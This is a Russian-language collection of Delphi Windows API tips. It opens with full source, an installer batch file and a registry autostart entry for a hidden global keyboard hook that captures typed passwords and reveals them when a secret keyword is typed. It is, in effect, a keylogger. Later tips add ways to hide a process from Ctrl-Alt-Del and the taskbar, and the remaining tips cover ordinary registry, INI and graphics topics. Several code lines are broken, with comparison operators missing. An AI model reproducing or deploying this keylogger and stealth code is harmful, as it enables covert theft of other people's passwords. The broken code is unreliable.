@echo offcopy HookAgnt.dll %windir%\systemcopy kbdhook.exe %windir%\systemstart HookAgnt.reg=== Cut ===
>2.HookAgnt.reg
=== Cut ===
REGEDIT4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"kbdhook"="kbdhook.exe"=== Cut ===
>3.KbdHook.dpr
=== Cut ===
program cwbhook;uses Windows, Dialogs;var hinstDLL: HINST; hkprcKeyboard: TFNHookProc; msg: TMsg;begin hinstDLL := LoadLibrary('HookAgnt.dll'); hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc'); SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0); repeat until not GetMessage(msg, 0, 0, 0);end.=== Cut ===
>4.HookAgnt.dpr
=== Cut ===
library HookAgent;uses Windows, KeyboardHook in 'KeyboardHook.pas';exports KeyboardProc;var hFileMappingObject: THandle; fInit: Boolean;procedure DLLMain(Reason: Integer);begin if Reason = DLL_PROCESS_DETACH then begin UnmapViewOfFile(lpvMem); CloseHandle(hFileMappingObject); end;end;begin DLLProc := @DLLMain; hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file nil, // no security attributes PAGE_READWRITE, // read/write access 0, // size: high 32 bits 4096, // size: low 32 bits 'HookAgentShareMem' // name of map object ); if hFileMappingObject = INVALID_HANDLE_VALUE then begin ExitCode := 1; Exit; end; fInit := GetLastError() <> ERROR_ALREADY_EXISTS; lpvMem := MapViewOfFile( hFileMappingObject, // object to map view of FILE_MAP_WRITE, // read/write access 0, // high offset: map from 0, // low offset: beginning 0); // default: map entire file if lpvMem = nil then begin CloseHandle(hFileMappingObject); ExitCode := 1; Exit; end; if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);end.=== Cut ===
>5.KeyboardHook.pas
=== Cut ===
unit KeyboardHook;interfaceuses Windows;const PASSWORDSIZE = 16;var g_hhk: HHOOK; g_szKeyword: array[0..PASSWORDSIZE-1] of char; lpvMem: Pointer;function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;implementation uses SysUtils, Dialogs; function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; var szModuleFileName: array[0..MAX_PATH-1] of Char; szKeyName: array[0..16] of Char; lpszPassword: PChar; begin lpszPassword := PChar(lpvMem); if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin GetKeyNameText(lParam, szKeyName, sizeof(szKeyName)); if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName)); lstrcat(g_szKeyword, szKeyName); GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName)); if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and (strlen(lpszPassword) + strlen(szKeyName) lstrcat(lpszPassword, szKeyName); if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin ShowMessage(lpszPassword); g_szKeyword[0] := #0; end; Result := 0; end else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam); end;end.=== Cut ===
Я хотел бы узнать, при запуске моего приложения, нажата ли клавиша Ctrl. Просто хочется сделать, что-то вроде пароля.
О состоянии клавиатуры дают информацию следующие функции:
GetKeyState, GetAsyncKeyState, GetKeyboardState.
Чтобы упростить себе жизнь и не возиться с этими функциями снова и снова я написал маленькие функции:
function AltKeyDown : boolean;begin result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;end;function CtrlKeyDown : boolean;begin result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;end;function ShiftKeyDown : boolean;begin result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;end;А заодно и для клавиш переключателей:
function CapsLock : boolean;begin result:=(GetKeyState(VK_CAPITAL) and 1)<>0;end;function InsertOn : boolean;begin result:=(GetKeyState(VK_INSERT) and 1)<>0;end;function NumLock : boolean;begin result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;end;function ScrollLock : boolean;begin result:=(GetKeyState(VK_SCROLL) and 1)<>0;end;При написании разнообразны программ типа заставок, менеджеров управления компьютером… возникает необходимость переводить компьютер в режим «спячки». Для включения этого режима в Windows 95 (и только в ней !!) предусмотрена команда API:
SetSystemPowerState(Suspended, Mode: Boolean):boolean;Suspended должно быть TRUE для ухода в спячку.
Mode — режим входа в спячку. Если TRUE, то всем программам и драйверам посылается Message PBT_APMSUSPEND, по которому они должны немедленно прекратить работу. Если FALSE, то посылается Message PBT_APMQUERYSUSPEND запроса на спячку, и драйвера в ответ могут дать отказ на включение режима спячки.
Возврат функции SetSystemPowerState: TRUE — режим включен.
procedure TForm1.Button1Click(Sender: TObject);VAR Wnd : hWnd; buff: ARRAY [0..127] OF Char;begin ListBox1.Clear; Wnd := GetWindow(Handle, gw_HWndFirst); WHILE Wnd <> 0 DO BEGIN {Не показываем:} IF (Wnd <> Application.Handle) AND {-Собственное окно} IsWindowVisible(Wnd) AND {-Невидимые окна} (GetWindow(Wnd, gw_Owner) = 0) AND {-Дочерние окна} (GetWindowText(Wnd, buff, sizeof(buff)) <> 0){-Окна без заголовков} THEN BEGIN GetWindowText(Wnd, buff, sizeof(buff)); ListBox1.Items.Add(StrPas(buff)); END; Wnd := GetWindow(Wnd, gw_hWndNext); END; ListBox1.ItemIndex := 0;end;Внеся изменения (выделенные цветом) в свой проект вы получите приложение, которое не видно в TaskBar и на него нельзя переключиться по Alt-Tab
program Project1;uses Forms, Windows, Unit1 in 'Unit1.pas' {Form1};{$R *.RES}var ExtendedStyle : integer;begin Application.Initialize; ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE); SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle or WS_EX_TOOLWINDOW {AND NOT WS_EX_APPWINDOW}); Application.CreateForm(TForm1, Form1); Application.Run;end.Если включить синий коментарий, то получите очень интересное приложение. Оно не видно в TaskBar и на него нельзя переключиться по Alt-Tab, но когда приложение минимизируется оно остается на рабочем столе в виде свернутого заголовка (прямо как в старом добром Windows 3.11)
Только сpазу пpедупpеждаю пpо гpабли, на котоpые я наступал:
Будь готов к тому, что если пpи попытке закpытия пpиложения в OnCloseQuery или OnClose выводится вопpос о подтвеpждении, то могут быть пpоблемы с автоматическим завеpшением пpогpаммы пpи shutdown — под Win95 пpосто зависает, под WinNT не завеpшается. Очевидно, что сообщение выводится, но его не видно (пpичем SW_RESTORE не сpабатывает). Решение — ловить WM_QueryEndSession и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt.
А вот как отрубить показ файла в Ctrl-Alt-Del
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';implementationprocedure TForm1.Button1Click(Sender: TObject);begin //Hide if not (csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID, 1);end;procedure TForm1.Button2Click(Sender: TObject);begin //Show if not (csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID, 0);end;sProgTitle: Название для программы
sCmdLine: Имя EXE файла с путем доступа
bRunOnce: Запустить только один раз или постоянно при загрузке Windows
procedure RunOnStartup(sProgTitle, sCmdLine : string; bRunOnce : boolean);var sKey : string; reg : TRegIniFile;begin if (bRunOnce)then sKey := 'Once' else sKey := ''; reg := TRegIniFile.Create(''); reg.RootKey := HKEY_LOCAL_MACHINE; reg.WriteString('Software\Microsoft' + '\Windows\CurrentVersion\Run' + sKey + #0, sProgTitle, sCmdLine); reg.Free;end;// НапримерRunOnStartup('Title of my program','MyProg.exe',False );Примечание. Этот пример удобно использовать при написании деинсталляторов — добавить однократный вызов деинсталлятора и запросить от пользователя перезагрузку. Этот прием позволит безболезненно удалять DLL и им подобные файлы, которые обычном способом удалить невозможно (они загружены в силу того, что использовались деинсталлируемой программой или работают в момент деинсталляции).
uses ShellAPI;function DeleteFileWithUndo( sFileName : string ) : boolean;var fos : TSHFileOpStruct;begin sFileName:= sFileName+#0; FillChar( fos, SizeOf( fos ), 0 ); with fos do begin wFunc := FO_DELETE; pFrom := PChar( sFileName ); fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT; end; Result := ( 0 = ShFileOperation( fos ) );end;uses ShellAPI, ShlOBJ;procedure AddToStartDocumentsMenu( sFilePath : string );begin SHAddToRecentDocs( SHARD_PATH, PChar( sFilePath ) );end;// НапримерAddToStartDocumentsMenu( 'c:\windows\MyWork.txt' );program wallpapr;uses Registry, WinProcs;procedure SetWallpaper(sWallpaperBMPPath : String; bTile : boolean );var reg : TRegIniFile;begin // Изменяем ключи реестра // HKEY_CURRENT_USER // Control Panel\Desktop // TileWallpaper (REG_SZ) // Wallpaper (REG_SZ) reg := TRegIniFile.Create('Control Panel\Desktop' ); with reg do begin WriteString( '', 'Wallpaper', sWallpaperBMPPath ); if( bTile )then begin WriteString('', 'TileWallpaper', '1' ); end else begin WriteString('', 'TileWallpaper', '0' ); end; end; reg.Free; // Оповещаем всех о том, что мы // изменили системные настройки SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE );end;begin // пример установки WallPaper по центру рабочего стола SetWallpaper('c:\winnt\winnt.bmp', False );end.procedure TForm1.FormCreate(Sender: TObject);var Style: Longint;begin Style := GetWindowLong(Handle, GWL_STYLE); SetWindowLong(Handle, GWL_STYLE, Style And Not WS_SYSMENU);end;procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);begin if (Key = VK_F4) and (ssAlt in Shift) then begin MessageBeep(0); Key := 0; end;end;Hе знаю как насчет акселераторов, надо поискать, а вот добавить Item — пожалуйста
type TMyForm=class(TForm) procedure wmSysCommand(var Message:TMessage); message WM_SYSCOMMAND;end;const ID_ABOUT = WM_USER+1; ID_CALENDAR=WM_USER+2; ID_EDIT = WM_USER+3; ID_ANALIS = WM_USER+4;implementationprocedure TMyForm.wmSysCommand;begin case Message.wParam of ID_CALENDAR:DatBitBtnClick(Self) ; ID_EDIT :EditBitBtnClick(Self); ID_ANALIS:AnalisButtonClick(Self); end; inherited;end;procedure TMyForm.FormCreate(Sender: TObject);var SysMenu:THandle;begin SysMenu:=GetSystemMenu(Handle,False); InsertMenu(SysMenu,Word(-1),MF_SEPARATOR,ID_ABOUT,''); InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Calendar, 'Calendar'); InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Analis, 'Analis'); InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Edit, 'Edit');end;procedure TForm1.Button1Click(Sender: TObject);var si : Tstartupinfo; p : Tprocessinformation;begin FillChar( Si, SizeOf( Si ) , 0 ); with Si do begin cb := SizeOf( Si); dwFlags := startf_UseShowWindow; wShowWindow := 4; end; Application.Minimize; Createprocess(nil,'notepad.exe',nil,nil,false, Create_default_error_mode,nil,nil,si,p); Waitforsingleobject(p.hProcess,infinite); Application.Restore;end;var FolderPath :string; Registry := TRegistry.Create;try Registry.RootKey := HKey_Current_User; Registry.OpenKey('Software\Microsoft\Windows\'+ 'CurrentVersion\Explorer\Shell Folders', False); FolderName := Registry.ReadString('StartUp'); {Cache, Cookies, Desktop, Favorites, Fonts, Personal, Programs, SendTo, Start Menu, Startp}finally Registry.Free;end;В файл MyWave.rc пишешь:
MyWave RCDATA LOADONCALL MyWave.wavЗатем компилируешь
brcc32.exe MyWave.rcполучаешь MyWave.res.
В своей программе пишешь:
{$R MyWave.res}procedure RetrieveMyWave;var hResource: THandle; pData: Pointer;begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDATA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end;end;procedure TForm1.Button1Click(Sender: TObject);var hTaskBar : THandle;begin hTaskbar := FindWindow('Shell_TrayWnd', Nil); ShowWindow(hTaskBar, SW_HIDE);end;procedure TForm1.Button2Click(Sender: TObject);var hTaskBar : THandle;begin hTaskbar := FindWindow('Shell_TrayWnd', Nil); ShowWindow(hTaskBar, SW_SHOWNORMAL);end;Хотелось бы чтобы при нажатии на кнопку minimize программа исчезала из таскбара.
При нажатии на эти кнопки происходит сообщение WM_SYSCOMMAND, его то и надо перехватить.
При этом:
uCmdType = wParam; // type of system command requested
xPos = LOWORD(lParam); // horizontal postion, in screen coordinates
yPos = HIWORD(lParam); // vertical postion, in screen coordinates
Пример:
Type TMain = class(TForm) ....protected Procedure WMGetSysCommand(var Message :TMessage); message WM_SYSCOMMAND;end;.....//------------------------------------------------------------------------// Обработка сообщения WM_SYSCOMMAND (перехват минимизации окна)//------------------------------------------------------------------------Procedure TForm1.WMGetSysCommand(var Message : TMessage) ;Begin IF (Message.wParam = SC_MINIMIZE) Then Form1.Visible:=False Else Inherited;End;Для работы с сетевыми дисководами (и ресурсами типа LPT порта) в WIN API 16 и WIN API 32 следующие функции:
1.Подключить сетевой ресурс
LocalName:PChar):longint;WNetAddConnection(NetResourse,Password,
где NetResourse — имя сетевого ресурса (например '\\P166\c')
Password — пароль на доступ к ресурсу (если нет пароля, то пустая строка)
LocalName — имя, под которым сетевой ресурс будет отображен на данном компьютере (например 'F:')
Пример подключения сетевого диска
WNetAddConnection('\\P166\C','','F:');Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :
NO_ERROR — Нет ошибок — успешное завершение
ERROR_ACCESS_DENIED — Ошибка доступа
ERROR_ALREADY_ASSIGNED — Уже подключен. Наиболее часто возникает при повторном вызове данной функции с теми-же параметрами.
ERROR_BAD_DEV_TYPE — Неверный тип устройства.
ERROR_BAD_DEVICE — Неверное устройство указано в LocalName
ERROR_BAD_NET_NAME — Неверный сетевой путь или сетевое имя
ERROR_EXTENDED_ERROR — Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)
ERROR_INVALID_PASSWORD — Неверный пароль
ERROR_NO_NETWORK — Нет сети
2.Отключить сетевой ресурс
ForseMode:Boolean):Longint;WNetCancelConnection(LocalName:PChar;
где
LocalName — имя, под которым сетевой ресурс был подключен к данному компьютеру (например 'F:')
ForseMode — режим отключения :
False — корректное отключение. Если отключаемый ресурс еще используется, то отключения не произойдет (например, на сетевом диске открыт файл)
True — скоростное некорректное отключение. Если ресурс используется, отключение все равно произойдет и межет привести к любым последствиям (от отсутствия ошибок до глухого повисания)
Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :
NO_ERROR — Нет ошибок — успешное завершение
ERROR_DEVICE_IN_USE — Ресурс используется
ERROR_EXTENDED_ERROR — Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)
ERROR_NOT_CONNECTED — Указанное ус-во не является сетевым
ERROR_OPEN_FILES — На отключаемом сетевом диске имеются открытые файлы и параметр ForseMode=false
Рекомендация: при отключении следует сначала попробовать отключить ус-во с параметром ForseMode=false и при ошибке типа ERROR_OPEN_FILES выдать запрос с сообщением о том, что ус-во еще используется и предложением отключить принудительно, и при согласии пользователя повторить вызов с ForseMode=true
Внешние модули (DLL), нитиНадо подключить DLL и использовать некоторые ее функции.
Есть первый вариант:
procedure procname1(param1:type1; param2:type2... и т.д.) external 'dllname.dll' name 'procname_in_dllfile'; Но тут есть один нюанс: при отсутствии DLL модуля, либо при отсутствии в нем указанной процедуры будет выдаваться ошибка и запуск программы будет отменен.
Второй вариант:
Type prc1 = procedure (param1:type1; param2:type2... и т.д.) ;var proc1 : prc1; head : integer ; // или что-то в этом роде .....var p : pointer;begin head:= loadlibrary ('DLLFile.DLL'); // загружаем модуль в память if head=0 then begin // Сообщаем о том что модуль не найден end else begin // Ищем в модуле наши процедуры и функции p:=getprocaddress ('Имя_Искомой_Процедуры'); // Тут посмотри точно название этой // функции в хелпе по LoadLibrary. // Имя_Искомой_Процедуры должно // быть один в один с именем процедуры // в библиотеке с учетом регистров. if p=nil then begin // Процедура не найдена end else proc1:=prc1(p);end;К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как?
Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим образом.
В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно пользоваться данными, переданными ей при его создании.
Например:
......
TYourThread = class(TTHread)private FFileName: String;protected procedure Execute; overrided;public constructor Create(CreateSuspennded: Boolean; const AFileName: String);end;.....constructor TYourThread.Create(CreateSuspennded: Boolean; const AFileName: String);begin inherited Create(CreateSuspennded); FFIleName := AFileName;end;procedure TYourThread.Execute;begin try .... if FFileName = ... .... except .... end;end;....TYourForm = class(TForm)....private YourThread: TYourThread; procedure LaunchYourThread(const AFileName: String); procedure YourTreadTerminate(Sender: TObject); ....end;....procedure TYourForm.LaunchYourThread(const AFileName: String);begin YourThread := TYourThread.Create(True, AFileName); YourThread.Onterminate := YourTreadTerminate; YourThread.Resumeend;....procedure TYourForm.YourTreadTerminate(Sender: TObject);begin ....end; ....end. СGI программа должна показывать GIF изображение.Имею тег. Прочитать JPeg, указать ContentType=Image/jpeg и выдать изображение в SaveToStream умею. Как сделать тоже самое для файлов GIF, в особенности анимационных? Если можно просто перелить дисковый файл (пусть он хоть трижды GIF) в Response CGI-програмы, то как это сделать?
Выдайте из скрипта следующее:
Content-type: image/gif <содержимое gif-файла>Советы по работе с реестром.
Использование некоторых ключей реестра Добавление элементов в контекстное меню "Создать"
1. Создать новый документ, поместить его в папку Windows/ShellNew
2. В редакторе реестра найти расширение этого файла, добавить новый подключ, добавить туда строку: FileName в качестве значения которой указать имя созданного файла.
1. Найти ключ HKEY_CLASSES_ROOT\Unknown\Shell
2. Добавить новый ключ Open
3. Под этим ключом еще ключ с именем command в котором изменить значение (По умолчанию) на имя запускаемого файла, к имени нужно добавить %1. (Windows заменит этот символ на имя запускаемого файла)
1. Найти ключ HKEY_CLASSES_ROOT\Directory\Shell
2. Создать подключ: opennew в котором изменить значение (По умолчанию) на: "Открыть в новом окне"
3. Под этим ключом создать еще подключ command (По умолчанию) = explorer %1
Подключ HKEY_LOCAL_MACHINE\SoftWare\Logitech и там найти параметр DoubleClick заменить 000 на 001
Например создает звуки на запуск и закрытие WinWord
HKEY_CURRENT_USER\AppEvents\Shemes\Apps добавить подключ WinWord и к нему подключи Open и Close.
Теперь в настройках звуков видны новые события
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall
Работа с реестром в Delphi 1
В Delphi 2 и выше появился объект TRegistry при помощи которого очень просто работать с реестром. Но мы здесь рассмотрим функции API, которые доступны и в Delphi 1.
Реестр предназначен для хранения системных переменных и позволяет зарегистрировать файлы программы, что обеспечивает их показ в проводнике с соответствующей иконкой, вызов программы при щелчке на этом файле, добавление ряда команд в меню, вызываемое при нажатии правой кнопки мыши над файлом. Кроме того, в реестр можно внести некую свою информацию (переменные, константы, данные о инсталлированной программы…). Программу можно добавить в список деинсталляции, что позволит удалить ее из менеджера "Установка/Удаление программ" панели управления.
Для работы с реестром применяется ряд функций API :
RegCreateKey (Key: HKey; SubKey: PChar; var Result: HKey): Longint;
Создать подраздел в реестре. Key указывает на "корневой" раздел реестра, в Delphi1 доступен только один — HKEY_CLASSES_ROOT, в в Delphi3 — все. SubKey — имя раздела — строится по принципу пути к файлу в DOS (пример subkey1\subkey2\…). Если такой раздел уже существует, то он открывается (в любом случае при успешном вызове Result содержит Handle на раздел). Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное — ошибка.
RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;
Открыть подраздел Key\SubKey и возвращает Handle на него в переменной Result. Если раздела с таким именем нет, то он не создается. Возврат — код ошибки или ERROR_SUCCESS, если успешно.
RegCloseKey(Key: HKey): Longint;
Закрывает раздел, на который ссылается Key. Возврат — код ошибки или ERROR_SUCCESS, если успешно.
RegDeleteKey(Key: HKey; SubKey: PChar): Longint;
Удалить подраздел Key\SubKey. Возврат — код ошибки или ERROR_SUCCESS, если нет ошибок.
RegEnumKey(Key: HKey; index: Longint; Buffer: PChar;cb: Longint): Longint;
Получить имена всех подразделов раздела Key, где Key — Handle на открытый или созданный раздел (см. RegCreateKey и RegOpenKey), Buffer — указатель на буфер, cb — размер буфера, index — индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование — в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой (см. пример).
RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;
Возвращает текстовую строку, связанную с ключом Key\SubKey. Value — буфер для строки; cb — размер, на входе — размер буфера, на выходе — длина возвращаемой строки. Возврат — код ошибки.
RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;
Задать новое значение ключу Key\SubKey, ValType — тип задаваемой переменной, Value — буфер для переменной, cb — размер буфера. В Windows 3.1 допустимо только Value=REG_SZ. Возврат — код ошибки или ERROR_SUCCESS, если нет ошибок.
Примеры :
{ Создаем список всех подразделов указанного раздела }procedure TForm1.Button1Click(Sender: TObject);var MyKey : HKey; { Handle для работы с разделом } Buffer : array[0..1000] of char; { Буфер } Err, { Код ошибки } index : longint; { Индекс подраздела }beginErr:=RegOpenKey(HKEY_CLASSES_ROOT,'DelphiUnit',MyKey); { Открыли раздел }if Err<> ERROR_SUCCESS then begin MessageDlg('Нет такого раздела !!',mtError,[mbOk],0); exit; end;index:=0;{Определили имя первого подраздела }Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer)); while err=ERROR_SUCCESS do { Цикл, пока есть подразделы } begin memo1.lines.add(StrPas(Buffer)); { Добавим имя подраздела в список } inc(index); { Увеличим номер подраздела } Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer)); { Запрос } end;RegCloseKey(MyKey); { Закрыли подраздел }end;Объект INIFILES - работа с INI файлами.
Почему иногда лучше использовать INI-файлы, а не реестр?
1. INI-файлы можно просмотреть и отредактировать в обычном блокноте.
2. Если INI-файл хранить в папке с программой, то при переносе папки на другой компьютер настройки сохраняются. (Я еще не написал ни одной программы, которая бы не поместилась на одну дискету :)
3. Новичку в реестре можно запросто запутаться или (боже упаси), чего-нибудь не то изменить.
Поэтому для хранения параметров настройки программы удобно использовать стандартные INI файлы Windows. Работа с INI файлами ведется при помощи объекта TIniFiles модуля IniFiles. Краткое описание методов объекта TIniFiles дано ниже.
Constructor Create('d:\test.INI');
Создать экземпляр объекта и связать его с файлом. Если такого файла нет, то он создается, но только тогда, когда произведете в него запись информации.
WriteBool(const Section, Ident: string; Value: Boolean);
Присвоить элементу с именем Ident раздела Section значение типа boolean
WriteInteger(const Section, Ident: string; Value: Longint);
Присвоить элементу с именем Ident раздела Section значение типа Longint
WriteString(const Section, Ident, Value: string);
Присвоить элементу с именем Ident раздела Section значение типа String
ReadSection (const Section: string; Strings: TStrings);
Прочитать имена всех корректно описанных переменных раздела Section (некорректно описанные опускаются)
ReadSectionValues(const Section: string; Strings: TStrings);
Прочитать имена и значения всех корректно описанных переменных раздела Section. Формат :
имя_переменной = значениеEraseSection(const Section: string);
Удалить раздел Section со всем содержимым
ReadBool(const Section, Ident: string; Default: Boolean): Boolean;
Прочитать значение переменной типа Boolean раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
ReadInteger(const Section, Ident: string; Default: Longint): Longint;
Прочитать значение переменной типа Longint раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
ReadString(const Section, Ident, Default: string): string;
Прочитать значение переменной типа String раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
Free;
Закрыть и освободить ресурс. Необходимо вызвать при завершении работы с INI файлом
Property Values[const Name: string]: string;
Доступ к существующему параметру по имени Name
Пример :
Procedure TForm1.FormClose(Sender: TObject);varIniFile:TIniFile;begin IniFile := TIniFile.Create('d:\test.INI'); { Создали экземпляр объекта } IniFile.WriteBool('Options', 'Sound', True); { Секция Options: Sound:=true } IniFile.WriteInteger('Options', 'Level', 3); { Секция Options: Level:=3 } IniFile.WriteString('Options' , 'Secret password', Pass); { Секция Options: в Secret password записать значение переменной Pass } IniFile.ReadSection('Options ', memo1.lines); { Читаем имена переменных} IniFile.ReadSectionValues('Options ', memo2.lines); { Читаем имена и значения } IniFile.Free; { Закрыли файл, уничтожили объект и освободили память }end;Советы по работе с графикой
Как работать с палитрой в Delphi? На форме установлен TImage и видна картинка (*.BMP файл), как изменить у него палитру цветов ?
Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:
procedure TMain.BitBtnClick(Sender: TObject);var Palette : HPalette; PaletteSize : Integer; LogSize: Integer; LogPalette: PLogPalette; Red : Byte;begin Palette := Image.Picture.Bitmap.ReleasePalette; // здесь можно использовать просто Image.Picture.Bitmap.Palette, но я не // знаю, удаляются ли ненужные палитры автоматически if Palette=0 then exit; //Палитра отсутствует PaletteSize := 0; if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then Exit; // Количество элементов в палитре = paletteSize if PaletteSize = 0 then Exit; // палитра пустая // определение размера палитры LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry); GetMem(LogPalette, LogSize); try // заполнение полей логической палитры with LogPalette^ do begin palVersion := $0300; palNumEntries := PaletteSize; GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry); // делаете что нужно с палитрой, например: Red := palPalEntry[PaletteSize-1].peRed; Edit1.Text := 'Красная составляющего последнего элемента палитры ='+IntToStr(Red); palPalEntry[PaletteSize-1].peRed := 0; //....................................... end; // завершение работы Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^); finally FreeMem(LogPalette, LogSize); // я должен позаботиться сам об удалении Released Palette DeleteObject(Palette); end;end;{ Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов) и меняет его палитру при нажатии кнопки }unit bmpformu;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;type TBmpForm = class(TForm) Button1: TButton; procedure FormDestroy(Sender: TObject); procedure FormPaint(Sender: TObject); procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject);private Bitmap: TBitmap; procedure ScrambleBitmap; procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;end;var BmpForm: TBmpForm;implementation{$R *.DFM}procedure TBmpForm.FormCreate(Sender: TObject);begin Bitmap := TBitmap.Create; Bitmap.LoadFromFile('bor6.bmp');end;procedure TBmpForm.FormDestroy(Sender: TObject);begin Bitmap.Free;end;// since we're going to be painting the whole form, handling this// message will suppress the uneccessary repainting of the background// which can result in flicker.procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);begin m.Result := LRESULT(False);end;procedure TBmpForm.FormPaint(Sender: TObject); var x, y: Integer;begin y := 0; while y x := 0; while x Canvas.Draw(x, y, Bitmap); x := x + Bitmap.Width; end; y := y + Bitmap.Height; end;end;procedure TBmpForm.Button1Click(Sender: TObject);begin ScrambleBitmap; Invalidate;end;// scrambling the bitmap is easy when it's has 256 colors:// we just need to change each of the color in the palette// to some other value.procedure TBmpForm.ScrambleBitmap;var pal: PLogPalette; hpal: HPALETTE; i: Integer;begin pal := nil; try GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255); pal.palVersion := $300; pal.palNumEntries := 256; for i := 0 to 255 do begin pal.palPalEntry[i].peRed := Random(255); pal.palPalEntry[i].peGreen := Random(255); pal.palPalEntry[i].peBlue := Random(255); end; hpal := CreatePalette(pal^); if hpal <> 0 then Bitmap.Palette := hpal; finally FreeMem(pal); end;end;end. Function PaintDesktop(HDC) : boolean;Например:
PaintDesktop(form1.Canvas.Handle); Для этого необходимо установить в инспекторе объектов поле Style в lbOwnerDrawFixed, при фиксированной высоте строки, или в lbOwnerDrawVariable, при переменной, и установить собственный обработчик события для OnDrawItem. В этом обработчике и надо рисовать растровое изображение.
Пример:
Рисуются изображения размером 32×16 (размер стандартного глифа для Delphi). Очень полезно при поиске нужного изображения для кнопок!
Установить в инспекторе объектов для ListBox поле ItemHeight = 19, а поле Color = clBtnFace.
{ Загрузить список файлов в ListBox1 при нажатии на кнопку Load (например)}procedure TForm1.bLoadClick(Sender: TObject);VAR S : String; begin ListBox1.Clear; {чистим список} S := '*.bmp'#0; {задаем шаблон} ListBox1.Perform(LB_DIR, DDL_ReadWrite, Longint(@S[1])); {заполняем список} end; ............ {Отобразить изображения и имена файлов в ListBox}procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: DrawState); VAR Bitmap : TBitmap; Offset : Integer; BMPRect: TRect; begin WITH (Control AS TListBox).Canvas DO BEGIN FillRect(Rect); Bitmap := TBitmap.Create; Bitmap.LoadFromFile(ListBox1.Items[Index]); Offset := 0; IF Bitmap <> NIL THEN BEGIN BMPRect := Bounds(Rect.Left+2, Rect.Top+2, (Rect.Bottom-Rect.Top-2)*2, Rect.Bottom-Rect.Top-2); {StretchDraw(BMPRect, Bitmap); Можно просто нарисовать, но лучше сначала убрать фон} BrushCopy(BMPRect,Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height), Bitmap.Canvas.Pixels[0, Bitmap.Height-1]); Offset := (Rect.Bottom-Rect.Top+1)*2; END; TextOut(Rect.Left+Offset, Rect.Top, ListBox1.Items[Index]); Bitmap.Free; END; end; Данный пример работает медленно, но оптимизация, для ускорения, вызвала бы трудность в понимании общего принципа 